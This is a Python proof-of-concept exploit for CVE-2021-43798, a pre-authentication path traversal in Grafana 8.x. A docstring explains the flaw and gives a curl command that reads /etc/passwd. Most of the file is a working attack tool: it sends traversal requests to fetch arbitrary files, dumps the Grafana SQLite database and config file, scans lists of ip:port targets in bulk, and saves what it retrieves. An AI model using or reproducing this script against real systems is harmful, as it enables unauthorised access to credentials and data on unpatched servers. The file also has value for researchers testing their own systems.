#!/usr/bin/env python3 """ # CVE-2021-43798 Grafana 8.x Path Traversal (Pre-Auth) All credits go to j0v and his tweet https://twitter.com/j0v0x0/status/1466845212626542607 ## Disclaimer This is for educational purposes only. I am not responsible for your actions. Use at your own discretion. In good faith, I've held back releasing this PoC until either this vulnerability is public or a patch is available. ## Table of Content * [Explanation](#Explanation) - Explaining the vulnerability * [Attack Vectors](#Attack-Vectors) - List of attacks you can carry out * [Exploit Script](#Exploit-Script) - Exploit script usage ## Explanation I noticed a [tweet by j0v](https://twitter.com/j0v0x0/status/1466845212626542607) claiming to have found a Grafana path traversal bug. Out of curiosity, I started looking at the Grafana source code. In the tweet, it was mentioned it was a pre-auth bug. There are only a couple of public API endpoints in Grafana, and only one of those took a file path from the user. Grafana has a public API endpoint, `/public/plugins/:pluginId`, which allows you to view a plugin's assets. This works by providing a valid `:pluginId` and then specifying the file path, such as `img/logo.png`. However, Grafana fails to sanitize the user provided file path, leading to path traversal. The directory being accessed is at `/public/app/plugins/panel/`. On a standard Grafana installation, the Grafana data directory is `/usr/share/grafana`. So by going back 8 directories, you can reach the filesystem root directory. HTTP Request: ``` GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd ``` Offending Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284 **Note: This does not work in the browser (which automatically collapse the `../` in the path)** It can be tested with curl by using the `--path-as-is` argument: ``` curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd ```""" import aiohttp import asyncio import argparse import yarl import re from colorama import Fore, Back, Style, init import logging init(autoreset=True) class Colors: def red(self, data): print(Fore.RED + data) def blue(self, data): print(Fore.BLUE + data) def green(self, data): print(Fore.GREEN + data) def yellow(self, data): print(Fore.YELLOW + data) def check_res(text, file): if file == 'passwd': if re.findall(':x:0:0:', text): return True return False elif file == 'defaults.ini': if re.findall('##################### Grafana Configuration Defaults #####################', text): return True return False elif file == 'grafana.db': if re.findall('SQLite format', text): return True else: return False else: print('Cannot check a file I do not know. Try /etc/passwd or disable -c') async def retrieve(target): # logging.basicConfig(filename='exploit.log', level=logging.INFO) async with aiohttp.ClientSession() as session: if args.dump_config: url = yarl.URL(f'{target}' + '/public/plugins/alertlist/../../../../../conf/defaults.ini', encoded=True) file = 'defaults.ini' elif args.database: url = yarl.URL(f'{target}' + '/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db', encoded=True) file = 'grafana.db' else: file = 'passwd' url = yarl.URL(f'{target}' + f'/public/plugins/alertlist/../../../../../../../../{args.target_file}', encoded=True) print('URL: ' + url.name) print('PATH: ' +url.path) async with session.get(url ) as response: print(response.url) c.yellow(f"Status: {response.status}") c.yellow(f"Content-type:{response.headers['content-type']}") html = await response.text() # soup = BeautifulSoup(html) if response.status == 200: if args.check_output: if check_res(text=html, file=file): c.red(f'SUCCESS: {target}') print(html) else: c.red(f'SUCCESS: {target}') print(html) if args.write_file: target = target.strip('https://') with open(args.write_file + '/'+ target + '_' + file, 'w') as f: f.write(html) def main(): if args.target: task = asyncio.ensure_future(retrieve(args.target)) loop.run_until_complete(asyncio.wait([task])) else: c.blue(f'Parsing {args.input_list}') with open(args.input_list, 'r') as i: i = i.readlines() for line in i: line = line.strip('\r\n') url = line.format(i) task = asyncio.ensure_future(retrieve(url)) tasks.append(task) try: loop.run_until_complete(asyncio.wait(tasks)) except Exception as fuck: print('error:', fuck) targets = [] tasks = [] cmds = [] loop = asyncio.get_event_loop() c = Colors() args = argparse.ArgumentParser() args.add_argument('-l', '--list', dest='input_list', type=str, help='Input list of ip:port') args.add_argument('-db', '--database', dest='database', action='store_true', help='Dump db') args.add_argument('-cfg', '--config', dest='dump_config', action='store_true', help='Dump config') args.add_argument('-c', '--check', dest='check_output', action='store_true', help='Enable output regex checking (Suppress false positives)') args.add_argument('-t', '--target', dest='target', type=str, help='Single target') args.add_argument('-f', '--file', dest='target_file', type=str, default='/etc/passwd', help='Remote target file') args.add_argument('-w', '--write', dest='write_file', default=None, type=str, help='Directory to write files to.') args.add_argument('-v', '--verbosity', dest='verbosity', action='count', help='Verbosity') args = args.parse_args() if __name__ == '__main__': main()